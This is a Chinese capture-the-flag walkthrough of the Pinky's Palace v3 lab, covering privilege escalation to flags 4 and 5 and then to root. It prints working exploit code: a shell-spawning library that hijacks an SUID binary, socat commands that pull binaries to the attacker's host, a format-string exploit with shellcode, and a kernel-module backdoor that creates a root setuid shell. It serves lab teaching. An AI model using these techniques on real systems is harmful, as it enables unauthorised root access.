3、靶场——Pinkys-Place v3(3)

news2024/10/5 19:17:03

文章目录

  • 一、获取flag4
    • 1.1 关于SUID提权
    • 1.2 通过端口转发获取setuid文件
    • 1.3 运行pinksecd文件
    • 1.4 利用nm对文件进行分析
    • 1.5 构建payload
    • 1.6 Fire
  • 二、获取flag5
    • 2.1 生成ssh公钥
    • 2.2 免密登录ssh
    • 2.3 以pinksecmanagement的身份进行信息收集
    • 2.4 测试程序/usr/local/bin/PSMCCLI
    • 2.6 利用格式化字符串漏洞提权
  • 三、总结

一、获取flag4

1.1 关于SUID提权

  SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限。当s这个标志出现在文件所有者的X权限上时,如/usr/bin/passwd这个文件的权限状态:-rwsr-xr-x.,此时就被称为Set UID,简称SUID。

  简单来说:假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。

搜索具备SUID权限的程序

	find / -user root -perm -4000 -print 2>/dev/null
	find / -perm -u=s -type f 2>/dev/null
	find / -user root -perm -4000 -exec ls -ldb {} ;

SUID-Find提权命令

find <文件> -exec whoami \; //文件必须存在

1.2 通过端口转发获取setuid文件

  发现了一个setuid文件pinkscd!注意:pinksecd文件的所有者是用户pinksecmanagement,用户pinksecmanagement对该文件具有读写和执行的权限,属于pinksecmanagement用户组的用户对该文件有读和执行的权限,其他用户只有执行的权限。

在这里插入图片描述

  使用socat进行文件传输

	socat -u open:pinksecd tcp-listen:7777,reuseaddr  // 靶机上运行,发送文件
	socat -u tcp:192.168.92.3:7777 open:pinksecd,create //kali上新建窗口,接收文件

-u:是指数据从左边单向传输到右边;
-U则是数据从右边单向传输到左边。
在这里插入图片描述

1.3 运行pinksecd文件

  查看pinksecd文件权限,该文件
在这里插入图片描述
  根据前面该文件是一个setuid文件,故修改文件权限,并运行。

	chmod +x pinksecd //赋予可执行权限
	./pinksecd //运行程序

在这里插入图片描述

发现缺少一个依赖库libpinksec.so

  使用ldd查看pinksecd的依赖库对应的文件:

	ldd pinksecd

在这里插入图片描述

libpinksec的路径是/lib/libpinksec.so

1.4 利用nm对文件进行分析

  nm是linux自带的特定文件分析工具,一般用来检查分析二进制文件、库文件、可执行文件中的符号表,返回二进制文件中各段的信息。命令:

	nm -g /lib/libpinksec.so

在这里插入图片描述

关于结果:

  • 左边的一串数字表示地址。如果是二进制文件,则表示逻辑地址,不是程序最后运行的地址。
  • 中间的字母代表当前条目位于程序哪一部分。T代表代码段数据。
  • 最后边代表对应的符号的内容。

  这里直接找_init,程序主要从这里开始运行。新建一个c文件,只要该文件中含有三个函数psbanner()、psopt()、psoptin()就可以制作payload了。

1.5 构建payload

  shell.c文件内容:

	#include <stdlib.h>
	int psbanner() {
		return system("/bin/sh");
	}
	int psopt() {
		return system("/bin/sh");
	}
	int psoptin() {
		return system("/bin/sh");
	}

在这里插入图片描述

编译:

	gcc -shared -o shell.o -fPIC shell.c

参数:

  • -shared代表创建动态链接库;
  • -fPIC则是生成位置无关代码,因为动态链接库可以被多个进程共享加载。
  • -o代表指定输出文件。

  关于gcc的相关信息,可以参考gcc编译命令详解及最佳实践

在这里插入图片描述

1.6 Fire

  使用payload替换/lib/libpibksec.socp shell.o /lib/libpinksec.so

在这里插入图片描述

对payload的个人理解:

  • 属于用户pinksecmanagment的文件pinksecd设置了SUID权限,用户pinksec在运行该文件的时候,将会以用户pinksecmanagment的身份去运行,也就是有效用户ID(EUID)是`pinksecmanagment。
  • 运行文件pinksecd的过程中,执行力system("/bin/sh")指令,相当于fork了一个shell,并且是以用户pinksecmanagment的身份新建的,也就是说可以进入用户pinksecmanagment的主目录/home/pinksecmanagment

知识补充:
(1)关于id命令:
id命令不含有任何参数,会报告当前用户的用户ID(uid)和用户名,所属的主要组ID(gid)和组名称、用户所有的属组(groups)和组名称。
在这里插入图片描述

(2)linux中UID,GID,EUID,EGID的快速理解

  • UID/GID指实际用户ID和实际组ID,即登录时的用户名,比如我是kali登陆,那么UID/GID 为kali/kali。
  • EUID/EGID指有效的用户ID和有效的组ID,它们指定了访问目标的权限。

例如:

  • 当前登录用户为my,welcome文件的ls -l 后的用户为my,组为mygroup,此时UID=my,GID=mygroup,EUID=my,EGID=mygroup。
  • 当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,此时UID=my,GID=mygroup,EUID=other,EGID=othergroup。并且my用户无法访问other用户的文件。

总的来说,EUID表示的是文件所有者的用户ID,EGID表示文件所有者所属的组ID。

  如果一个文件被设置了SUID或SGID位,会分别表现在所有者或同组用户的权限的可执行位上。例如:

	-rwsr-xr-x 表示SUID和所有者权限中可执行位被设置
	-rwSr–-r-- 表示SUID被设置,但所有者权限中可执行位没有被设置
	-rwxr-sr-x 表示SGID和同组用户权限中可执行位被设置
	-rw-r-Sr-- 表示SGID被设置,但同组用户权限中可执行位没有被设置

  接着刚才的案例进行分析

  • 当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,但是权限标志为rwsr-xr-x,那么该程序同样可以被执行,此时UID=my,GID=mygroup,EUID=other,EGID=mygroup。此时welcome程序有了other的权限,当然就可以访问apps了。
  • 同理,当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,但是权限标志为-rwxr-sr-x,那么UID=my,GID=mygroup,EUID=my,EGID=othergroup,因为同组,当然就可以执行apps文件。

请参考:

  • linux UID,GID,EUID,EGID,SUID,SGID快速理解
  • uid gid euid egid详解

  进入/home/pinksecmanagment拿到flag4!

在这里插入图片描述

二、获取flag5

在这里插入图片描述

  在刚刚提权的shell中使用backspace键,将会出现奇奇怪怪的符号,说明这个shell不稳定。根据之前的信息,靶场开了ssh服务,那么考虑免密方式登录靶机。

2.1 生成ssh公钥

  linux下,进入./.ssh目录(SSH密钥默认保存在该目录下),使用以下命令生成一对RSA公钥与密钥:

	ssh-keygen -t rsa
  • ssh-keygen语法:ssh-keygen [options]
  • -t表示要创建的密钥类型

在这里插入图片描述
在这里插入图片描述

  • id_rsa是私钥文件
  • id_rsa.pub是公钥文件

2.2 免密登录ssh

  下一步通过shell将kali的公钥写入靶机/home/pinksecmanagement/.ssh目录,文件命名为authorized_keys。这样做的目的是:公钥加密,私钥解密

免密登录原理:
在这里插入图片描述

  1. Client将自己的公钥存放在Server上,追加在文件authorized_keys中。
  2. Server端接收到Client的连接请求后,会在authorized_keys中匹配到Client的公钥pubkey,并生成随机数R,用Client的公钥对该随机数进行加密得到pubkey(R),然后将加密后信息发送给Client。
  3. Client端通过私钥进行解密得到随机数R,然后对随机数R和本次会话的SessionKey利用MD5生成摘要Digest1,发送给Server端。
  4. Server端会也会对R和SessionKey利用同样摘要算法生成Digest2。
  5. Server端会最后比较Digest1和Digest2是否相同,完成认证过程。

  进入/home/pinksecmanagement目录,mkdir .ssh新建.ssh文件夹,并进入。

在这里插入图片描述
  使用echo新建一个authorized_keys文件,将kali的公钥写入:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVhYclyR6Gr+wBz10uHSxlP6HjuklCuPuKpsKdU0Kg8+XHul3GeYWYuPmWldJfv29LXAEpMAXRgz3nzNcuJdyKciUT5rVOdAB6igaWcw9iz7IN1eEpm0vDVjpLSLHay8DIKJXYVd74Jpm4MtHpw5PsGcgDw2jnxE96XsD15vOANZu6ZSu8od7Clp+M+wVllSw0thRffIIoAhsT9jw+lS+DhnL6jw6Vq4Ud4+/lxtkJNJuiIixpuALMTu13VZl+0dLn3zBv9MqdR/f7a6ty1KepBpks/91yFLhgvIatXDLLoNacmSFfoibZbTEjbfGPnm1go8QdvbS9+nBBjGEC+iK2TQvMksrF1z1UXuWiWZaZfoR23jc6hhv9fpE8y3xGBblZPS20H03FbOpvDr4TA15QoFJbMZS0Yxg27Y4QXO/FVYr4yeeZk3dnTc0RQMPGl62H2zU17oBNrtgnGLY8tY97TG/6E2/rvI7b4NW9dBvH3PofxixK8CXNXdDSI0vFEfs= root@kali" > authorized_keys

在这里插入图片描述
在这里插入图片描述

成功免密登录!!!

ssh语法:ssh 用户名@ip地址 -p 端口

  • -i代表验证文件,就是私钥文件。
    在这里插入图片描述

2.3 以pinksecmanagement的身份进行信息收集

(1)搜索具备SUID权限的程序,常用命令如下:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};
find / -user root -perm -4000 -print 2>/dev/null

补充知识:

  • find命令语法:find [path] [expression]
    • path为查找路径,.代表当前路径,/代表根目录;
    • expression为参数
    • -user root表示查找所有者为root的文件;
    • -perm -4000表示权限为SUID的文件。等价于命令-perm -u=s
    • -type f代表文件,d代表目录;
  • 2>/dev/null代表删除错误信息;
  • 使用find执行命令语法:find (路径,必须存在) -exec <command> \;(结束标志)。例如:find . -exec whoami \;
    在这里插入图片描述

当前目录下有几个文件就执行几次whoami命令。

  使用find / -perm -u=s -type f 2>/dev/null或者find / -perm -4000 -type f 2>/dev/null查找具有SUID属性的文件。

在这里插入图片描述

  特别注意/usr/local/bin/PSMCCLI文件,使用ls -al查看其文件属性。

在这里插入图片描述

发现/usr/local/bin/PSMCCLI文件属于pinksecmanagement用户组,且其文件所有者是用户pinky。也就是说用户pinky属于pinksecmanagement用户组,文件/usr/local/bin/PSMCCLI其实是属于用户pinky

2.4 测试程序/usr/local/bin/PSMCCLI

PSMCCLI程序功能:输入什么返回什么。
  可知,该文件存在格式化字符串漏洞。同时,使用file命令查看文件类型,该文件属于ELF文件。

在这里插入图片描述

  • 在linux中,经gcc编译后生成的可执行文件属于ELF文件;
  • ELF是一类文件类型,而不是特指某一后缀的文件。

  ELF(Executable and Linkable Format,可执行与可链接格式)文件格式,在Linux下主要有如下三种文件:

  • 可执行文件(.out):Executable File,包含代码和数据,是可以直接运行的程序。其代码和数据都有固定的地址 (或相对于基地址的偏移 ),系统可根据这些地址信息把程序加载到内存执行。
  • 可重定位文件(.o):Relocatable File,包含基础代码和数据,但它的代码及数据都没有指定绝对地址,因此它适合于与其他目标文件链接来创建可执行文件或者共享目标文件。
  • 共享目标文件(.so):Shared Object File,也称动态库文件,包含了代码和数据,这些数据是在链接时被链接器(ld)和运行时动态链接器(ld.so.l、libc.so.l、ld-linux.so.l)使用的。

2.6 利用格式化字符串漏洞提权

  • 目的:目前我们的用户身份是pinksecmanagement,而文件PSMCCLI的所有者是用户pinky,提权的目的就是将我们用户身份从pinksecmanagement变为用户pinky
  • 格式化字符串的利用原理:

(1)使用socat进行文件传输

socat -u open:/usr/local/bin/PSMCCLI tcp-listen:9999,reuseaddr  // 靶机,文件发送方
socat -u tcp:192.168.92.3:9999 open:PSMCCLI,create  //kali,文件接收方

在这里插入图片描述

(2)查看二进制程序启用的安全保护

  使用checksec检查文件是否被保护,发现并没有什么保护,同时RELRO位为partial relro,说明我们对GOT表具有写权限。

在这里插入图片描述

(3)攻击思路

格式化字符串允许两个基本的攻击向量:

  • 直接内存访问:使用%x格式化字符串和位置值,可以打印或访问堆栈中的任何内存位置;
  • 写入位置的能力:使用%n格式化字符串写入任何位置,%n将到当前输出的所有数据的长度写回一个变量中去。

攻击思路:用%x定位位置,在位置中%n植入shellcode,用%hn执行。

(4)选择shellcode

shellcode网站

在这里插入图片描述

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

将shell代码放在环境变量中,利用格式字符串漏洞,将程序流重定向到环境变量的地址即可!

(5)将shellcode写入环境变量

export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

在这里插入图片描述
在这里插入图片描述

可以看到变量SPAWN的值就是那段shellcode。

(6)定位环境变量SPAWN的位置

  使用以下脚本寻找变量SPAWN的位置:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}

编译gcc addr.c -o addr

在这里插入图片描述
  前面已经将shellcode写入环境变量SPAWN中了,现在需要寻找在执行目标二进制文件时,SPAWN所在内存位置,也就是shellcode在内存中的位置。

./addr SPAWN /usr/local/bin/PSMCCLI

在这里插入图片描述

可知,在执行目标二进制文件时,SPAWN(shellcode)所在的地址为0xbffffe81

(7)定位写入putchar的指针位置

objdump -R /usr/local/bin/PSMCCLI

在这里插入图片描述

putchars的地址为0x0804a01c

  • shellcode地址:0xbffffe81
  • putchars函数的地址:0x0804a01c
  • 需要将shellcode的地址写入putchar的指针存放位置。

(8)确定Args位置

/usr/local/bin/PSMCCLI AAAABBBBCCC$(python -c "print '%x.'*138")

-x可以访问内存中的数据。如果内存数据中连续出现4142,就说明可写。

在这里插入图片描述

	/usr/local/bin/PSMCCLI AAAABBBBCCC%134\$0x%135\$0x

去找具体两块块区域可写。

在这里插入图片描述

(9)找前半段地址

  现在需要访问 putchar 指针的地址(要修改的地址),即 0x0804a01c!32 位架构中的内存为 4 字节(32 位)大小。然而将使用格式字符串漏洞每次只能写两字节。所以需要把地址分成两个字节:

  • 低位地址:0x0804a01c
  • 高位地址:0x0804a01e(初始地址+2)
	/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$0x%135\$0x

在这里插入图片描述
(10)找后半段地址
  只需把$x换成$n。构造payload:

	/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$0x%135\$0n

在这里插入图片描述

(11)构造payload

  需要将值 0xbffffe7f(shellcode 地址),写入内存字节中,每个短字节(2个字节)最多只能容纳 0xffff,因此需要将值拆分为两个短字节。
shellcode 地址: 0xbffffe7f

  • 低位短字节地址: 0xfe7f = 65151
  • 高位短字节地址: 0xbfff = 49151

低二位0804a01c写入 fe80 - char_number(12) = 65142
高二位0804a01e (低二+2) 写入1bfff - fe80 = 49535[整数溢出原理 hn写入两字节,即0-65535]
小端序,低位放低地址

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65142u%134\$0hn%49534u%135\$0hn

在这里插入图片描述
(11)同样免密登录
在这里插入图片描述
在这里插入图片描述

  sudo -l查看执行sudo命令的使用者的权限,这里发现了无需密码可以执行的俩个命令 insmod rmmod,这俩个命令是操作内核的,insmod 是加载一个内核模块,rmmod 是卸载一个内核模块
在这里插入图片描述
  这里的提权方式是制作一个内核来提升权限。对内核模块的编写,可以是反弹一个root的shell,或者对一个制作的文件增加s权限修改为root用户所有等等。

  这里我选择制作一个获取sh的文件,用内核模块对其进行修改为root用户。

内核模块,修改:https://github.com/PinkP4nther/Pinkit/blob/master/pinkit.c 的反弹shell内核模块为赋权。具体内容如下:

#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/stat.h>
 
#define ML      "GPL"
#define MA      "@Pink_P4nther"
#define MD      "An LKM Backdoor"
#define MV      "1.2"
 
static int __init mload(void)
{
        char *envp[] = {
                "HOME=/root",
                "TERM=xterm",
                NULL
        };
                         
        char *argv[] = {
                "/bin/bash",
                "-c",
                "chown root:root /tmp/shell;chmod 4777 /tmp/shell",
                NULL
                };
                                         
        printk(KERN_INFO "[+] Command Execution Begin\n");
        call_usermodehelper(argv[0],argv,envp,UMH_WAIT_EXEC);
        printk(KERN_INFO "[+] Command Execution End\n");
        return 0;
}
 
static void __exit munload(void)
{
                        printk(KERN_INFO "[+] Happy Hacking!\n");
}
 
module_init(mload);
module_exit(munload);
 
MODULE_LICENSE(ML);
MODULE_AUTHOR(MA);
MODULE_DESCRIPTION(MD);
MODULE_VERSION(MV); 

shell文件编写

int main(void)
{
          setgid(0);
          setuid(0);
          execl("/bin/sh",0);
} 

Makefile文件

obj-m +=sroot.o
   
all:
                make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
                                 
clean:
                make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

  准备内容sroot.c内核模块shell.c获取shell的代码,Makefile编译内核模块的文件。
在这里插入图片描述

  使用make命令编译sroot.c,gcc命令编译shell.c,sudo insmod sroot.ko装载内核模块。且将shell放到/tmp/下。

在这里插入图片描述
  在/tmp目录下shell就变成了一个root权限的可执行的setuid程序!
在这里插入图片描述

三、总结

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1034927.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue的详细教程--Vue路由与nodejs

&#x1f973;&#x1f973;Welcome Huihuis Code World ! !&#x1f973;&#x1f973; 接下来看看由辉辉所写的关于Vue的相关操作吧 目录 &#x1f973;&#x1f973;Welcome Huihuis Code World ! !&#x1f973;&#x1f973; 一.Vue路由是什么 二.使用Vue路由的步骤 1、…

【无标题】显示TIFF格式文件

显示TIF文件 运行结果 package src;import com.sun.media.jai.codec.*;import com.sun.media.jai.codec.FileSeekableStream; import com.sun.media.jai.codec.ImageDecoder; import com.sun.media.jai.codec.ImageCodec; import com.sun.media.jai.codec.TIFFEncodeParam; imp…

2010-2017年WIND分省政府性债务余额面板数据

2010-2017年WIND分省政府性债务余额面板数据 1、时间&#xff1a;2010-2017年 2、指标&#xff1a;债务余额 3、范围&#xff1a;30个省 4、来源&#xff1a;wind 5、指标解释&#xff1a;地方政府债务分为一般债务和专项债务。 一般债务对应的是一般公共预算&#xff0c…

操作系统权限提升(三十)之数据库提权-SQL Server sp_oacreate+sp_oamethod(dba权限)提权

SQL Server sp_oacreate+sp_oamethod(dba权限)提权 sp_oacreate+sp_oamethod介绍 在xp_cmdshell被删除或不能利用是可以考虑利用sp_oacreate,利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql)。sp_oacreate 是一个存储过程,可以…

Kubernetes 部署 nfs-subdir-external-provisioner

概述 官方GitHub及参考文档:GitHub - kubernetes-sigs/nfs-subdir-external-provisioner: Dynamic sub-dir volume provisioner on a remote NFS server. 部署nfs-subdir-external-provisioner提供StorageClass服务 步骤 nfs 服务器准备 /etc/exports # cat /etc/exports…

数据链路层--以太网

文章目录 以太网1. 以太网帧格式2. mac地址与IP地址 代表协议:以太网. 以太网 以太网" 不是一种具体的网络&#xff0c;而是一种技术标准&#xff1b;既包含了数据链路层的内容&#xff0c;也包含了一些物理层的内容。例如&#xff1a;规定了网络拓扑结构&#xff0c;访…

laravel框架 - 消息队列如何使用

业务场景&#xff1a;项目里边有很多视频资源需要上传到抖音资源库&#xff0c;通过队列一条一条上传。 参考实例&#xff1a;发送邮件&#xff0c;仅供参考 (1)创建任务【生成任务类】 在你的应用程序中&#xff0c;队列的任务类都默认放在 app/Jobs 目录下。如果这个目录不存…

一款好用的汇编学习工具【compile explore在线编译调试】

登录网址&#xff1a;Compiler Explorer 然后编写代码如下&#xff1a;可以看到&#xff0c;最左边是源代码&#xff0c;中间是汇编&#xff0c;可以选择编程语言和编译链工具&#xff0c;最右边是打印的输出结果&#xff0c;对于汇编指令可右键会弹出汇编指令的解释说明。

十四、ADDA数模转换

十四、AD&DA转换 介绍XTP2046介绍模块代码 模数转换数模转换 介绍 AD&#xff1a;模数转换&#xff0c;将模拟信号转换为计算机可操作的数字信号DA&#xff1a;数模转换&#xff0c;将数字信号转换为模拟信号 XTP2046 介绍 时序 模块代码 #define XPT2046_VBAT 0xAC /…

大数据学习1.0-Centos8虚拟机安装

1.创建新的虚拟机 2.选择稍后安装OS 3.选择Linux的CentOS8 4.选择安装路径 5.分配20g存储空间 6.自定义硬件 7.分配2g内存 8.分配2核处理器 9.选择镜像位置 10.开启虚拟机安装 推荐密码设置为root

全国职业技能大赛云计算--高职组赛题卷②(容器云)

全国职业技能大赛云计算--高职组赛题卷②&#xff08;容器云&#xff09; 第二场次题目&#xff1a;容器云平台部署与运维任务1 Docker CE及私有仓库安装任务&#xff08;5分&#xff09;任务2 基于容器的web应用系统部署任务&#xff08;15分&#xff09;任务3 基于容器的持续…

洛谷刷题入门篇:分支结构

今天又来了&#xff0c;刷题刷题&#xff0c;我爱刷题&#xff0c;题单链接如下&#xff1a; https://www.luogu.com.cn/training/101#problems 一、【深基1-2】小学数学 N 合一 题目如下&#xff1a;https://www.luogu.com.cn/problem/P2433 题目描述 问题 1 请输出 I lov…

[Linux入门]---git命令行的基本使用

文章目录 1.git使用gitee仓库创建git使用测试ignore文件 1.git使用 git是一款对文件进行版本控制的软件&#xff0c;gitee、github是基于git软件搭建的网站&#xff0c;是可以对代码进行托管的平台&#xff1b;github是国外的网站&#xff0c;访问慢&#xff0c;不稳定&#xf…

Linux学习之Redis使用

搭建Redis服务器 在主机redis64运行redis服务 #安装redis服务 [rootredis64 ~]# yum install -y redis # 启动redis服务并开机启动 [rootredis64 ~]# systemctl enable redis --now # 查看redis端口 [rootredis64 ~]# ss -tnlp | grep redis-server LISTEN 0 128 …

异步通讯技术之RabbitMQ

前言: 📕作者简介:热爱编程的小七,致力于C、Java、Python等多编程语言,热爱编程和长板的运动少年! 📘相关专栏Java基础语法,JavaEE初阶,数据库,数据结构和算法系列等,大家有兴趣的可以看一看。 😇😇😇有兴趣的话关注博主一起学习,一起进步吧! 一、初识MQ …

算法通过村第八关-树(深度优先)黄金笔记|寻找祖先

文章目录 前言最近公共祖先问题总结 前言 提示&#xff1a;生活就是一场有很多规则&#xff0c;却没有裁判的比赛。 --约瑟夫布罗茨基《悲伤与理智》 最近公共祖先问题 参考题目地址&#xff1a;236. 二叉树的最近公共祖先 - 力扣&#xff08;LeetCode&#xff09; 如果将搜索…

金属铬 铬含量的测定 硫酸亚铁铵滴定法

声明 本文是学习GB-T 4702.1-2016 金属铬 铬含量的测定 硫酸亚铁铵滴定法. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 1 范围 GB/T4702 的本部分规定了硫酸亚铁铵滴定法测定金属铬中铬含量。 本部分适用于金属铬(钒≤0.20%)中铬含量的测定&…

【小沐学Python】网络爬虫之urllib

文章目录 1、简介2、功能介绍2.1 urllib库和requests库2.2 urllib库的模块2.2.1 urllib.request2.2.2 urllib.error2.2.3 urllib.parse2.2.4 urllib.robotparser 2.3 入门示例 3、代码示例3.1 urlib 获取网页(1)3.2 urlib 获取网页(2) with header3.3 urllib post请求 4、urlli…

LeetCode【1. 两数之和】

穷通有命无须卜&#xff0c;富贵何时乃济贫&#xff1b;角逐名场今已久&#xff0c;依然一幅旧儒巾。 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输…

测试网页调用本地可执行程序(续:带参数调用)

前篇文章介绍了网页调用本地可执行程序的方式&#xff0c;通过在注册表中注册命令&#xff0c;然后在网页中调用命令启动本地程序。如果需要传递参数&#xff0c;则需要在注册表命令中的command项中设置如下形式的值。 "XXXXXX\XXXXXXX.exe" "%1"&emsp…